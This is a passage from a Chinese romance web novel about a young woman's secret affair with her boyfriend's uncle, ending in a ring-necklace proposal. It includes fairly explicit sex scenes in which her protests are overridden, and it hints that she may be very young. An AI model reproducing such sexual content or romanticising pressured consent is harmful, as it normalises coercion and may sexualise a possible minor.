顾峙被逗笑了。他也不好受,凑过来黏黏糊糊地吻她。两个人都是汗津津的,额发也沾湿了,贴在鬓角。他说不会坏的。 骗子! 很快,李棠梨哭出来,她头皮发麻,彻底收不住声了。 楼上就是纪嘉誉的房间,她的男朋友,动静这么大,极有可能会被听到,但顾峙不在乎。 他只在中途担心李棠梨会昏过去,体贴地让她嗓子歇一歇,才停了停。 好在最后,李棠梨又不出声了,只能发出细小的哽咽。 天边呈现出鱼肚白。顾峙把神志不清的她裹着浴巾抱起来,这回没有去浴室,留下一片狼藉,大摇大摆地走回了自己的房间。 将近六点,浑身清爽而疲惫的李棠梨才睡了过去。 她被折腾得一个手指也抬不起来,顾峙此时却精神头绝佳。 虽然上次通宵都是几年前的事了,他很注重健身和保养,尤其是认识李棠梨之后,但今晚这点节制已经无关紧要。 看到在他房间里安眠的李棠梨,和她哭得泛红的眼尾,他神色止不住软了下去。 摸着她疲累的脸庞,弯下身,吻了一下额头。 随后,他不慌不忙的善后、为她清洗衣物。 刚晾到衣架上,门突然被敲响了。 顾峙挑眉,他擦了擦手,才慢悠悠走过去打开门。 门外站着神色略带萎靡的纪嘉誉。 李棠梨离开后,他带着耳机打游戏。打到凌晨一点,方才有了困意。 顾峙没有骗李棠梨,房间隔音的确不错。因为纪嘉誉本来打算睡觉,却不知道从哪儿传来了噪音。不吵,微弱得和猫叫似的,时大时小。 但纪嘉誉神经敏感,是睡觉不能有一点响动的人。他一开始以为房间进了猫,来回翻找。房间面积大,找东西很费功夫,可连衣柜也翻了一遍,还是没找着。 直到不叫了,他也彻底睡不着了,直瞪瞪地坐起来。 舅舅一向起得早,还有晨练的习惯,见天亮了,所以他试探性地敲了敲隔壁房间的门,没想到真的开了。 顾峙似乎刚起,身上还穿着睡衣。 挂着黑眼圈的纪嘉誉问他:“舅舅,你昨晚有没有听到什么动静?吵了一晚上,好像是只猫,我都没睡着。” 半开着门,顾峙从容地说:“什么猫?” “你没听到?” “没有。” 纪嘉誉浑然不知。其实,噪音的发出者就在距离他十米不到的地方,安然酣睡。 第43章 你玩腻了? 经过两轮失败的沟通,纪嘉誉恹恹闭上了嘴。 他纳闷地想,难道是自己幻听了吗? 短促的、拉长的、尾调颤抖上扬的叫声,像春天发/情的野猫,可现在是入冬的时节。 他舅舅站在敞开的小半扇门后,房间内还拉着窗帘,遮光性绝佳,往里看黑洞洞的。从这个角度,只能瞥见床尾一片洁白的被角。 顾峙的头发打湿了,贴在额头上。他的表情——纪嘉誉很难找到一个确切的词来形容。 因为任谁看,他都只是寻常的样子,眼底眉梢却是不寻常的温存之色,蕴着欲望得到极大疏解后的餍足。 他一贯的沉稳所剩无几,整个人如同孔雀开屏,气色好极了。 纪嘉誉突兀地后退了半步,被他身上那股耀武扬威的雄性荷尔蒙冲到了鼻子:“舅舅,你刚刚在干嘛?洗澡?” 在洗你女朋友的内裤。 不能如实回答,顾峙兴致缺缺,对他延伸出的好奇心感到乏味,担心吵到了李棠梨休息。 门又合上一半:“少没话找话,没事儿滚回去睡觉。” 纪嘉誉自找没趣,转身要走。眼光掠过侧着身子要送客的顾峙,突然开口:“你脖子后面怎么了?” 顾峙一顿,抬手盖住了颈项上半指长的伤痕。 他摩挲了一下,伤口刺痛,提醒它是如何被李棠梨抓下的。 女孩被他紧紧按着腰,折着两条细腿。她反应很大,先是说脏,不要亲,逐渐变成颠三倒四的乞求。但哪儿拗得过顾峙? 推他的脑袋。把他推烦了,顺势攥住她两只手腕,这下彻底逃不开了。 水漫得到处都是,顾峙的脸上也湿漉漉的。第二回 的时候,李棠梨没轻没重地挠了他一下。 其实,远不止是脖颈。他的后背、胸膛,还有更多的抓痕,有的甚至仍在渗血。 在纪嘉誉面前回忆和人家小女朋友的细致过程,顾峙全身上下的血都在兴奋地发烫。更遑论,她其实就在不远处躺着。 顾峙低头一笑:“被猫抓的。” 一开口,心脏就要跳出来。不是怕的,是刺激的。他再度感叹于自己的卑劣和下流。 纪嘉誉奇怪:“你不是说没看到猫吗?” 他舅舅却不奉陪了,敷衍地谢客:“可能是球球跑出来了,你待会儿问问阿姨。” 那扇门强硬地合上了。 关上门,顾峙回头,瞄了一眼熟睡的李棠梨,心想,猫在他这儿呢。 洗完了衣服,他躺到床上。非要把本来睡得好好的李棠梨拖过来环住,才安心闭上眼睛。 * 李棠梨在做噩梦。 她梦见自己变成了一只实验用的小白鼠,那个黑心肠的男人动作很生疏,但他显然是个聪明人,学得快极了。她被翻来覆去地拨弄,在翻涌的爽和痛之间徘徊。 好不容易清净片刻,旁边又贴上来一个炙热的火炉。 李棠梨委屈死了,眼睫毛上又沾了两滴泪珠。 她一觉睡到天昏地暗,直到被人抬起胳膊腿,又翻了个身,才朦胧地睁开眼。眼前还是黑漆漆的,天未明,她倚在谁宽厚的臂弯里。 “弄醒你了?”有人轻柔地问,手上动作却没停。 后背发痒,像有人在故意挠她的痒。李棠梨迷迷糊糊地反手挥了一下,却摸到一只骨节粗大的手。 她转醒过来,从顾峙的怀里倏地坐起。霎时间,昨晚的种种回忆涌入脑海,不容她忽视,身体随之僵住。 那根本不是什么噩梦! 毕竟是第一次,顾峙没什么经验,花了 点功夫才帮她系好扣子。 他也不急着催促李棠梨,只是拿起放在一旁的卫衣,慢条斯理地给她穿衣服。 “手举起来。” 李棠梨还发着怔,就听话地抬起了胳膊,眼前一黑,卫衣齐整地套在了身上。 顾峙手臂撑在床沿,吻了一下她的唇角,用非常自然的语气说:“还要睡一会儿吗?” 自然得像她名正言顺的丈夫。 看着这张近在咫尺的俊脸,李棠梨第一反应却是躲闪。大半是忸怩,小半是畏怯。 看她一下挪开了眼睛,顾峙气息微滞。这可不是什么好兆头。 周围的陈设都表明这是顾峙的房间,她之前来过两回,不算生疏了。 李棠梨望着地毯的花纹,小声问:“我怎么在这儿?” 一出声,惊觉嗓子发哑。她皱起眉,咳了两声。 哑是很正常的。两个人的体型差距明显,她后半夜跟魂灵出窍似的,抓得被褥满是一层叠一层的褶子。 还要劳烦顾峙俯在耳畔提醒她。楼上就是纪嘉誉,让你男朋友听到也没有关系吗? 她脸颊绯红地艰难地消化了这句话,乖乖捂住嘴,只有在顾峙太狠,弄得她不慎撞到头时才发出闷哼。 后来手软得彻底捂不住,就咬住了衣摆。再然后,索性换成了男人的手指。 “嗓子不舒服?” 作为罪魁祸首的顾峙很体己地问。 “有一点。” “稍等。” 他去倒水,一转过身,脸色唰地变成了阴天,电闪雷鸣,暴雨倾泻而下。 盯着直饮机流出的水柱,顾峙一动不动。他迅速思索,关系更进一步,李棠梨却连看都不愿意看他。 她是后悔了,觉得他这个情人年长而善妒,过分棘手了吗? 紧捏着杯子转过来,面向李棠梨,又瞬间放晴,神色温驯。 他递给李棠梨,是适宜入口的温水。 她呷着水一口一口地喝,就听见男人淡声说:“床单湿透了,客房不能睡人,我就把你抱回来了。” “咳、”李棠梨涨红脸,呛了一口水。 顾峙欠身过来抚她的背,拍了两下,又被不自在地躲开了。他的手悬在半空,片刻后才落下。 “我先去洗漱……” 李棠梨急于站起身,腰眼酸涩,顾峙扶了一下才站稳。她懊悔地闭了闭眼睛,觉得更丢人了。 “去吧,浴室里有一套新的洗护用品。” 然而,在李棠梨身后,看着她不顾身体不适,步伐摇晃地也要逃离他,顾峙的脸色与方才平缓的语气可谓截然相反。 心拴了一块大石,猛地下坠。他攥了攥手,深呼吸,告知自己此时必须要冷静。 他历经过许多次大风大浪,知道事态并不会在一息之间严重到不可挽回的地步。 但他又残忍地自我反驳,那些经验都不是在情感方面。 父母的例子活生生地摆在前头,他不是最清楚了吗?感情,飘忽不定的感情,早上还亲亲热热的爱侣晚上就可能翻脸决裂,谁说得准?何况他的身份还是暂定性质的。 可是,她昨天才说的最喜欢他,这难道还能有假吗?李棠梨年纪小,喜好多变,他不能过多地责怪她。 到底是什么原因?是觉得对不起纪嘉誉?还是别的男人?或是他昨晚表现不好? 头脑在反复命令他镇定下来,但他克制不住。身体遵循了患得患失的本能,遇到李棠梨,他总是无能为力。不知不觉间,朝她走了过去。 微凉的水不住地扑在脸上,借此给发烫的面皮降温。李棠梨一想起昨晚的片段,想起顾峙的身、身体,止不住地犯起羞窘。 和纪嘉誉,她就从不会产生如此强烈的情绪。按部就班做完了,也没有这么慌乱,该干什么就干什么,属于任务的一部分。 她对此事的认知在一夜之间被顾峙颠覆重塑,激烈而滚烫。 李棠梨抬起头,镜子照出一张粉扑扑的桃子似的脸,看得她眼睛也烫了。 她匆匆拽下一条毛巾,摁在脸上,又立刻反应过来这是顾峙的毛巾,木质香扑鼻。 忽然,耳旁传来男人的声音:“你后悔了?” 李棠梨一惊,顾峙不是该在外面吗?什么时候过来的。 她拿开毛巾,扭过头,见男人修长的身影出现在浴室门口。 他一手用力地扶着门框,定定地看着她:“睡过我一次,就玩腻了吗?” 什么后悔、玩腻的? 话题跑到哪儿去了?她一时发懵,搞不懂顾峙在说什么。 但她唯一确定的,是顾峙的眼睛又在下雨了,像是跟她初次表白、恳求她分手却被拒绝那样。 看她不回复,顾峙不言语了,只是雨越下越大。 在彻底沦为睡过就甩的负心女之前,李棠梨终于战胜了自己的羞耻心,伸出手,拉住了他冰凉的手。 仿佛那是根救命稻草,他马上抓住,五指紧握。 “你在说什么呀?”她抬头望着他,眼睛亮晶晶的,“我不后悔。” 顾峙垂下眼帘,去瞧两人交握的手,低声说:“你醒了,既不看我,也不让我碰。我以为你……” 李棠梨怔住了,没想到他会为她微小的举动而难过至此。 不看,是因为一看他的脸,就闪过他鼻尖滴水、缓缓起身的场景。碰到手,碰到背,都会令她不受控地陷入混乱的片段内。 她挣开手,顾峙的心沉入谷底。可下一秒,女孩柔软的身体就扑了过来,抱住了他,他又重新活了过来。 她小声说:“我只是不好意思而已……你别想太多。” 顾峙缓缓抱紧她,她三言两语,轻松地左右着他的心绪。 “真的?” “真的。” 他不放心地追问:“那昨晚还满意吗?” “……” 疑心他是得了便宜还卖乖,李棠梨不答,顾峙捧起她的脸,一味地要一个答复:“不满意?” 她赌气地推开男人得寸进尺贴近的脸,这一次,顾峙对她的羞窘一览无余。 他安下心,复而把李棠梨搂紧,盯着镜子里相拥的身影许久许久。 解除了变心的危机,从浴室收拾完出来,窗帘已经被顾峙拉开了。明媚的阳光洒进卧室,看了一眼时间,发觉居然都中午十二点了。 看着眼前窗明几净的卧室,李棠梨突然想起什么,紧张地问顾峙:“那客房怎么办?” 满地的衣物,被她胡乱打倒的花瓶,洗手台上滚落的用品等等,比遭了贼还凌乱。 真要等李棠梨醒了再处理,他们两个人的奸情早就暴露了。 顾峙道:“我去收拾过了。” 不过,清洗床单的阿姨大概率是能猜出什么的,不过那也没关系。顾峙是希望越来越多的人能知道。 纪嘉誉早晨就走了,说是老宅跑进了野猫,不知道藏在哪儿,吵得一晚上没睡好,干脆回栖月云筑睡一觉。 顾淑凤也去了公司。走之前还奇怪怎么不见弟弟,顾峙让阿姨以他身体不适为由搪塞了过去。 虽然只留下了对他们关系早就知情的顾语琴,李棠梨还是蹑手蹑脚地从顾峙房间里走出来。 听见他们下楼的动静,沙发上的顾语琴望了过来,她似乎对一切都了如指掌。 她微笑着打招呼:“早上好,哥,还有……嫂子?” 第44章 我想带你去见几个朋友…… 她喊得两人俱是一愣。 嫂子,哥哥的老婆。他的妻子。 哦,这就要涉及婚姻了。顾峙舔舐了一下干燥的嘴唇,和她结婚吗?钻戒、婚纱、新房等等,他还没有畅想到长远的那一天。 心潮起伏间,他的第一反应是去瞥李棠梨,观察她的反应。她手足无措地张开嘴唇,应也不是,不应也不是。 她求饶似的喊:“语琴姐……” 顾峙转过脸,训斥心急的妹妹:“急着嚷嚷什么?吓到她了。” 口吻是一本正经的,替她解围。 但手却绕过去,穿过李棠梨的背后,揽在侧腰往下几寸的位置,这是一个向外界表明两人关系产生了实质性进展的显著信号。 顾语琴注意到了,她撇撇嘴:“装模做样。” 李棠梨差点没同手同脚。 其他人都等着她醒了再吃午饭。阿姨已经备好了菜,正在厨房烹制。 她走过去,被顾语琴拉着坐下 。紧接着,顾峙也坐了过来。 夹在这对兄妹中间,李棠梨越发局促。 她和顾峙的关系本该是隐秘的,而不该像现在这样在阳光下暴晒,大剌剌地敞露于人前。 顾语琴凑过去,亲亲密密地同她咬耳朵:“我的衣服还合适吗?” 怕李棠梨不知情,她补充说:“内衣和内裤,都是未拆封的。我选的,喜欢吗?” 钱助理毕竟性别为男,顾峙不想让他去购置李棠梨的贴身衣物,只送了卫衣和裤子过来。是顾语琴听到他打电话,贴心地献上了一套。 虽然说是全新的,但李棠梨还是有点难为情。她没有什么印象,因为都是顾峙在她迷糊时给她依次套上的,醒的时候就穿在身上了。 她忽视隐约的别扭感,对于顾语琴完全没有边界感的行为和说辞早已习惯,点头小声说:“……谢谢,应该是合适的。” 顾语琴露出恶作剧的笑意:“和我还说什么谢谢呀?我比你大,喊你嫂子,你是不是不自在?那以后怎么办?” 和顾峙的以后?李棠梨心中微震,她没有想过这个问题。 但对方像是很满意这个称谓,比顾峙更急于要确定和她的关系。 说话时也是三句话夹着一个嫂子,李棠梨被她喊得麻木了,索性自暴自弃默认。 右侧,顾语琴把玩她的一只手;左侧,顾峙明目张胆地握着另一只,同她十指紧扣,放在膝头。 他侧过头,静静望着妹妹逗弄他喜欢的人。 在以前,他的人生规划里从不存在婚姻的一席之地。 感情真是可怕的东西。因为此时此刻,看着李棠梨,看着她柔和而羞赧的笑意,他的渴望在这方沙发上生根发芽。 他扣住女孩的左手。她的五指光秃,什么饰品都没有,是纯洁与未婚的象征。缺一个和他相配的戒指。 顾峙想。 * 突破底线没多久,李棠梨搬去了顾峙的房间,真正意义上的同居了。 对顾峙来说,这件事是水到渠成的。发生关系后,他就紧锣密鼓地将换床的事提上了日程。 那天,她刚从医院探望完张梅婷。出了电梯,却看楼道里堆着一叠长木板。 门大敞着,几个工人师傅聚在顾峙的房间里,从窗户外把吊机运上来的床垫合力卸了下来。 卧室原本的床已拆卸成了楼道里的那堆残骸。原地重新搭建起了新床,两米二,尺寸太大,塞不进门里。顾峙专门加钱,用吊机把床架和床垫吊上来。 当晚,李棠梨问起,他轻描淡写地说,旧床两个人睡不开,所以干脆换个大点的。 话里话外都在邀请她同床共枕。 犹豫中的李棠梨被他诱骗着再度上了钩,在那张豪华大床上滚得天昏地暗,眼泪都流了出来,这回完全是爽的。 这绝不能怪她耳根子软。顾峙太清楚该怎么把自己的长处最大化。 他那晚戴了眼镜。先把李棠梨堵在料理台,低头作势要吻。嘴唇将触未触时,他忽然后退。 对已经挺直脖颈,仰起脸的女孩调笑道:“这么心急?” 男人侧过头,眼睛下意识闭了一下,修长的手指捏住镜腿,单手摘下。顾峙的动作很利落,全程不过两秒,随即他就凑过来深吻。 可她看得心神摇曳、面红耳赤。好像他摘的不是眼镜,而是文质彬彬的面具,暗示他们马上就要发生不那么斯文的事。 之后也确实如此。她被第二次开荤的顾峙吃干抹净,连晚饭都是坐在他腿上吃的。她吃完了,就轮到顾峙继续开动了。 隔日,李棠梨就半推半就地搬去了他的房间。 顾峙没有任何不良的睡眠习惯,睡姿也安生,不会像纪嘉誉一样把她挤到床边。唯独有一点,他偶尔会做噩梦。 有天晚上,李棠梨起夜去了趟卫生间。回来时,只见顾峙紧闭眼睛,急促地呼吸,如同在经历极为痛苦的折磨。 她吓得不轻,忙把他唤醒。男人睁开眼,目光无神地盯着虚空中的某个点。直到这个点具象化,从朦胧的虚焦过渡成清晰的泛着水光的眼睛。她是将他拽回现实的锚点。 顾峙晃了晃头,意识到自己此时身处在安全的卧室,而不是十几年前那辆侧翻的车内。 李棠梨擦拭他发汗的额头,关心地问他要不要去医院。顾峙只说是做噩梦,希望没有吓到她。 隔日早晨,他依旧对此闭口不言。她接收到了对方不愿多谈的态度。那场噩梦或许和他手腕上的疤痕一样,属于他心底的沉疴痼疾。 顾峙不说,并不是有意疏远。每个人总有那么两件连在日记里都不能诚实袒露的隐晦心事。 因此,李棠梨也不再追问,只是在下一次发现他梦魇时又叫醒他。顾峙疲惫地望向她,有一刹那,脸上浮现出挣扎之色。但最后,他把她拥入怀里,低声抱歉。 李棠梨轻声说没关系。 不知道是不是与这件事相关,第二天,顾峙下班后询问她:“明天我想带你去见我几个朋友。你介意吗?” 望见她惊诧的神色,他又适时补充道:“都是关系亲近的朋友,不会说出去的。” 顾峙在邀请她参与进他的生活,留下不可抹去的痕迹。 这是很不应该的,李棠梨想,知道的人越多,暴露的可能性越大。可她还是鬼使神差地答应了。 事实上,收到顾峙的消息时,关望津的第一反应是他终于疯了。 头一次见小三当得这么高调的。别人官宣恋爱,他官宣我决定大大方方做三。 不是,李小姐怎么还陪着他疯? 他们这几个玩得好的兄弟里,只有关望津和顾峙两个人至今未婚。 等他们分别带着老婆抵达俱乐部,看见孤身一人的关望津脸色凝重地坐在那儿,有人打趣道:“你便秘了?” 关望津没好气地骂:“滚滚滚,顾峙怎么跟你们说的?” “你不知道啊?大新闻!要带女朋友过来见见大家。就是神神秘秘的,怎么问也不肯说是谁。” “对,还说没公开,让嘴巴严点,别往外说。” “保密措施做的可以啊,等着今天给我们惊喜呢?” 关望津额头直跳,原来他也知道不能往外说啊。 其他人都来全了,热火朝天地激烈讨论了半天顾峙铁树开花的稀罕事儿,一个赛一个兴奋,还赌那个拿下顾峙的奇女子是谁,大伙认不认识。 唯一一个知情的关望津越听越焦虑,偏偏还什么都不能说。往下灌了两杯凉水,就差直接灌饱了。 直到门外传来脚步声,这场宴会的主人公才姗姗来迟。 可是,热烈的气氛却在顾峙和他的“女朋友”亮相时陡然静了一下,随后欢呼声才欲盖弥彰地响起。 原因无他,顾峙这位女朋友……不,是小女朋友,太出乎预料了。 “你们都到了?” 他环住李棠梨的肩膀,领着她介绍给他们认识。 这位貌不惊人的李小姐穿着一件米白色的亚麻裙子,裙摆扫在小腿处。人偏瘦,脸上没花什么妆,可能涂了显气色的口红。 每个人都产生了相同的疑惑:她是怎么和顾峙走到一块的? 不怪众人揣测。哪怕是一个陌生人,光看顾峙的脸,就能猜到他从小就是鹤立鸡群的人物。实际上的确如此。 顾峙能力才貌都拔尖,加上家世显赫,追求者只多不少,其中不乏有出色的女性。 可不声不响就摘下这朵高岭之花的李小姐呢? 她神色腼腆,打招呼的声音也不大。在座的都是人精,打个照面就能看出她的质朴没有掺假,她并非长袖善舞的性格。怎么看都是一个普普通通的邻家女 孩。 问在一起多久了,顾峙说是一个半月。 没人问李小姐的年龄,都替他感到不好意思。 大家表面上和和气气的,暗地里疯狂使眼色。这女孩一看就在读大学吧?顾峙真不要脸啊,老房子着火也不能烧成这样吧? 而且,这压根不是圈里人啊,有没有人认识的? 别说,还真有一位看出了点端倪。 顾峙不动如山,神色如常,吃饭时还不忘低头和李棠梨讲话,问合不合她的胃口,明眼人都能看出来他的心完全悬在那女孩身上。 谁见过他这么柔情似水的一面?看得一旁的关望津直咳嗽。 他忍无可忍地擦了擦嘴,恶狠狠地咬牙,老子不奉陪了,你偷个情怎么提心吊胆的一直是我? 纸到底是包不住火的。 随着夜幕降临,酒吧台附近的光线也渐暗,烘托出迷离的夜色。 李棠梨面前放着一杯果汁。看也知道,以她年纪,尚且不该饮酒。坐在她一旁的顾峙手里握着一杯玛格丽特,瓶口插着一片柠檬。 他一直把手搭在李棠梨的背后。女孩有几缕头发掖进了领口,他瞥见了,掌心顺着人家的脖颈滑下去,替她拨出来。 光影忽明忽暗间,那个看李棠梨有几分眼熟的人终于想起来了——就在半个月前,杨家小女儿的生日宴上,他刚见过这位李小姐。 但她当时不是站在顾峙身旁。而是站在顾峙的外甥——纪嘉誉身边,挽着他的手臂,作为他的女伴现身的, 电光火石之间,他串联起了一切线索。关望津今晚颇为奇怪的反应,顾峙不方便公开的怪异说辞,对不上的交往时间…… 就在他戳破真相的一刹那,光又暗了下去。他只来得及捕捉到顾峙朝女孩倾过身的那一幕。 光再度亮起时,他的心口砰砰直跳。 那位李小姐的嘴唇已经染上了亮闪闪的酒液,她微微喘着气,黑发间一串水滴型的耳坠在荡漾地摇晃。 她急于掩盖刚刚发生的事,拿起果汁,不走心地搅动着吸管。 就在她米白色的裙摆与膝盖交界处,放着一只骨节分明的大手。 那是她男朋友的舅舅的手。 第45章 戒指还是项链? 这桩奸情在他心里陡然暴露时,这位旁观者却表现的比两位当事人更惊惶。 他坐立难安,突然站起身,“砰”的一声,碰倒了桌边的玻璃酒杯。 酒倾洒到桌面上,蜿蜒流至对角,倒映出浸润在昏暗中的顾峙的脸。他静静望向神情闪躲的朋友。 周遭话声一止,李棠梨后知后觉地打开了顾峙放在她腿上的手,在公寓里无所顾忌地亲摸惯了,养出他这个坏习惯,也有预谋地磨钝了她的感知。 女孩把双腿紧紧拢到一起,白裙一垂,罩住刚刚被男人手掌包裹的微红膝盖,显得十分贞洁。可这贞洁来得太迟了,落在知情人眼里,反而坐实了其中的不轨。 被她恼怒地瞥了一眼,顾峙也不气。他慢条斯理地把她腿侧坐住的裙角往下拽了拽,才问朋友:“怎么把杯碰倒了?” 看到桌上一片狼藉,他道:“拿纸擦擦就好了。” 朋友看着镇定的顾峙,目光跟看一个执迷不悟的罪犯没什么区别。 顾峙,是他们这群人里最出色的一个。这种出色不仅仅是指相貌、金钱等等一望皆知的外在因素。 还因为他们都清楚,顾峙是如何试图弥合父母破裂的感情,如何在车祸后刚捡回一条命就去开发布会,又是如何一边上大学一边接手庞大的企业,没人不佩服他。 这些过往锻造了他坚强的品格,使他最终成为了一个注重家庭、原则性极强的人。一个值得他们尊敬的榜样。 但现在,在这位李小姐面前,他什么原则底线都不要了。 朋友心头火起,也不借口离席了。他拿着一沓纸在桌面上粗暴地擦了两下,把酒液抹的半个桌子都是,反击道:“擦不干净。” 顾峙寸步不让:“那就脏着吧。” “你!” 别人都不知道他们俩在打什么哑谜,只有关望津参透了一二。 他心里哀叹一声,自己上辈子高低是欠顾峙点人情,忙起身打圆场。 他嬉皮笑脸地说:“多大点事儿,行了,再开瓶康帝,要那瓶96年的,记顾峙账上。” 顾峙应下:“嗯,今天都算我的。” 他呷了一口酒,手臂忽地挨上一具温热的身体,对上李棠梨担忧的眼睛:“你们闹矛盾了么?” 对于李棠梨的情绪,顾峙是很敏锐的。尤其是在误以为她反悔的乌龙事件之后,他变得更风声鹤唳了一些。 “与你无关。”他安抚地摩挲着女孩自肩头到上臂的那一片位置,把她半个身子被带进怀里,低声说:“不用管他,我只是带你来混个面熟。” 李棠梨知道他在宽慰自己。她转而有些惆怅,他们就是这种不可告人的关系,顾峙再强硬,也无法改变他上不得台面的本质。 这场聚会不冷不热地进行到了尾声。李棠梨套上大衣,手臂上挂着顾峙的围巾,她在门口的会客厅等待顾峙。他和刚刚那位朋友单独聊了几分钟。 朋友先一步出来,路过拘谨的李棠梨时,他神色复杂地说:“李小姐……” 他搜刮半天,找不到一个合适的词。顾峙已经站到李棠梨身旁,看着这对“情侣”,他最后说:“希望你们的选择是对的。” 走出几步,扭头一瞧,见女孩踮起脚,给顺势弯腰的男人系围巾,他怪异的祝福消融在这亲密的举止中。他想起刚刚自己气势汹汹的质问。 “你甘愿永远都不露面吗?而且,万一被公之于众,你有想过这会对你造成多大的影响吗?” 这令顾峙沉默了片刻。就在以为他要迷途知返时,却听见他的低语。 “我只担心她会不会受影响。” 说这话的时候,顾峙偏着脸,看向那位李小姐所在的方向。在那一刹那,他决定不再劝说了。 都是白费事,没人能劝的住顾峙了。 这家会员俱乐部紧邻着横跨A市的宽阔江河,华灯初上,两岸林立的高楼灯火通明、流光溢彩,映得江面宛如一张五彩的油画。 两个人没有直接坐车回去,顾峙提议沿着江边散会步,李棠梨自然同意。晚风从江面拂来,他的掌心发热,牢牢扣住她的五指,不时与同样牵着手的路人们擦肩而过。 隐匿在人群当中,好像他们也只是一对再正常不过的情侣。 闲闲地漫步了一会儿,人烟渐渐稀少,李棠梨有心想问顾峙那时候和朋友说了什么,但顾峙看了一眼表,突然停下了脚步。 “时间到了。” 李棠梨顿住脚,疑惑道:“什么?” 顾峙唇角微扬:“抬头。” 伴随着他落下的尾音,天边一亮。 李棠梨惊愕地抬起头,璀璨的烟花在上空绽放,如流星拖着长尾划过,照亮了靛蓝色的夜幕与波光粼粼的江面,也照亮了江边人的眼睛。 “好看吗?” 李棠梨笑着点头。 顾峙欠身,遮蔽住了她的视野。她闭上眼睛,心跳加快,唇瓣被他缓慢地含吮了一下,舌尖才长驱直入,唇舌热得几乎要融化,她的后脑被轻轻扣住。 在盛大的烟花下,两个人交换了一个黏糊糊的深吻。 直到烟花落幕,才依依不舍地分开。 顾峙摸了摸她潮红的面颊,松开了牵她的手。 他伸到口袋里,掏出了一个红色小方盒。 那是一个不用打开就知道里面放着什么的盒子。 李棠梨的心跳声震耳欲聋,她身侧的手指莫名颤动了一下。此时此刻,全世界只剩下了他们两个人,其余所有人、所有声音都在她看到这个小方盒的一瞬间按下了暂停键。 顾峙掀开盒盖,露出一枚镶嵌着深邃蓝宝石的银戒。银戒上还拴着一条银白的链子。 到底是戒指,还是项链? 他的声音响起:“李棠梨,你愿意收下它吗?” 李棠梨喉咙发紧:“顾峙。” 下意识脱口而出时,她忽而一顿。不知从何时起,遇到棘手的、为难的事,脑海里率 先浮现的,居然是顾峙的脸。 她只是愣愣地喊了他的名字,就不再言语。 顾峙应了一声,以退为进:“只是普通项链而已。收下它,好不好?” 与温和从容的语调不同,他一眨不眨地盯瞧着她的脸,惊讶、欣喜、纠结……他急迫地捕捉分析着她脸上掠过的每一丝情绪。 等待李棠梨回答的每一秒,都如同度过了漫长的一年。 顾峙掌心发汗,紧盯着她,几近诱哄:“你把它当项链,那它只是一条项链,没有特殊的含义。你觉得它是什么,它就是什么。由你来赋予它的意义。” 这是他费尽心机想好的狡诈说辞,已经不知道私下排练过多少遍了。 送戒指,就意味着向她求婚。经过她的允许,求得一个合法的伴侣身份,从此光明正大地站在她身边,做她的丈夫。 这是太具有诱惑性的美好未来,也是顾峙的根本目的。 可他不得不考虑到一个无法规避的现实因素。李棠梨还有男朋友,她是否愿意接受呢? 不,不能直接求婚。 不能给她施加太大压力。不然,李棠梨会在他单膝下跪的那一刻后退半步,残忍地在他心上划出一道血淋淋的伤口。所以,他满腹不甘与遗憾地将这个步骤取消了。 此外,还要确保隐蔽,要尽可能地使这枚小小戒指不显得有多重要,更不要人群的簇拥。 哪怕到了这一步,他依旧在妥善地替李棠梨铺好拒绝他后的退路。 于是,顾峙想了又想,改了又改。最后,串上一条银链,板上钉钉的戒指就变成了待定状态,从戴在手上变成了戴在脖颈上。 可他和李棠梨都心知肚明,戒指就是戒指。不管戴是在哪儿,都无法削减戒指本身的重量。 决定是否要接受他的那串钥匙,完全掌握在李棠梨的手里。 ——接受,还是拒绝? 那枚戒指在招摇地闪烁,它象征着什么不言而喻。 而拿着它的男人神色紧张,或许是她接连的沉默稍稍击垮了他,此时,连睫毛都在颤抖。 那双总是凝视着她的灰色眼睛,满含着厚重的情意,比烟花还要动人心弦。 于是,就在这个微小的瞬间,原本充斥在脑海的一团乱麻,困扰她的诸多顾虑,关于任务、关于男主,都忽然褪色,淡出了她的视野,变得无关紧要了。 这一刻,她只想答应顾峙。 李棠梨心念一动,小声说:“好。” “……你接受了?” 顾峙看着她,小心翼翼地又确认了一遍。 所有勇气在那一声“好”里消耗殆尽,李棠梨只好羞涩地点了点头。 在得到她确凿无疑的答复后,顾峙内心涌上一阵狂喜。他猛地拥住了她,像担心她反悔似的,不留任何空隙地紧贴着彼此的身体。 李棠梨将垂在背后的黑发拢在一侧,因为漫长而焦灼的等待使手心冒了汗,顾峙打滑了两次,才将戒指顺利戴在了她的脖颈上。 冰凉的戒指垂在她温热的皮肤上,李棠梨上手摸了摸,觉得它轻盈又沉重。 迎着晚风,两个人从桥上一溜烟地跑回去,坐上车,回到公寓。 刚关上门,李棠梨就被顾峙抱了起来。她环住顾峙的腰,连灯都没来得及开,衣服都好好穿在身上,在一片漆黑里,他动情地格外厉害,李棠梨手撑着玄关,几乎要被他顶碎了。 第二次,顾峙才恢复了一些理智。把她抱回卧室,扶稳她的腰,让李棠梨自己掌控节奏。 那枚戒指随着动作,在她胸口处不时跳跃,顾峙看得眼热,拉过她的左手,放在嘴边细密地亲吻。 他慢慢磨她:“戴上它,好不好?” “嗯……” 这个时候,李棠梨根本听不进话,撑得她头脑昏沉,目光涣散。 云销雨霁,他揽住李棠梨:“什么时候和他分手?” 李棠梨趴他身上缓神,一时没言语。 也不清楚顾峙又擅自脑补了些什么,他沉声道:“好吧,如果最近不分的话,那你要藏好了。别在他身边,把我们的戒指露出来了。” 第46章 和他分开,我和你在一起…… 李棠梨枕着顾峙胸膛,掀起眼皮去看他。 她搭上顾峙横在腰腹间的手,清了清嗓子,声音沙哑:“你不要急,我……我会和他说清楚的。” 盯着女孩澄澈的眼睛,顾峙追问:“什么时候?” “尽快。” 他不罢休:“尽快有多快?” 李棠梨思考了几秒:“下次见面,我就和他分手。” 顾峙颔首,勉强满意:“好。” 他言犹未尽。其实,他想让李棠梨现在就给纪嘉誉打电话说清楚,以免夜长梦多,第二天早上起来,李棠梨又改了心思。 提起“分手”,李棠梨还有些心虚。更确切的来说,是她不打算再完成那个任务,也无意再与纪嘉誉纠缠下去了。 与其说是一时冲动,不如说是她彻底疲倦了。 而在这种漂泊不定的疲倦中,是顾峙托住了他。她有时觉得,顾峙像是一尾容纳她休憩的小船,有时又像是颠簸翻涌的海浪。 手往下,就摸到了他左手微凉的银戒。她怔了怔。 看李棠梨瞧着自己的手,顾峙轻笑:“是对戒。对了,内圈还刻着我们名字的缩写。” “是吗?” 李棠梨坐起身,抚上胸口的钻戒,低头去看,果然看到内侧刻着G&L的小巧字母。 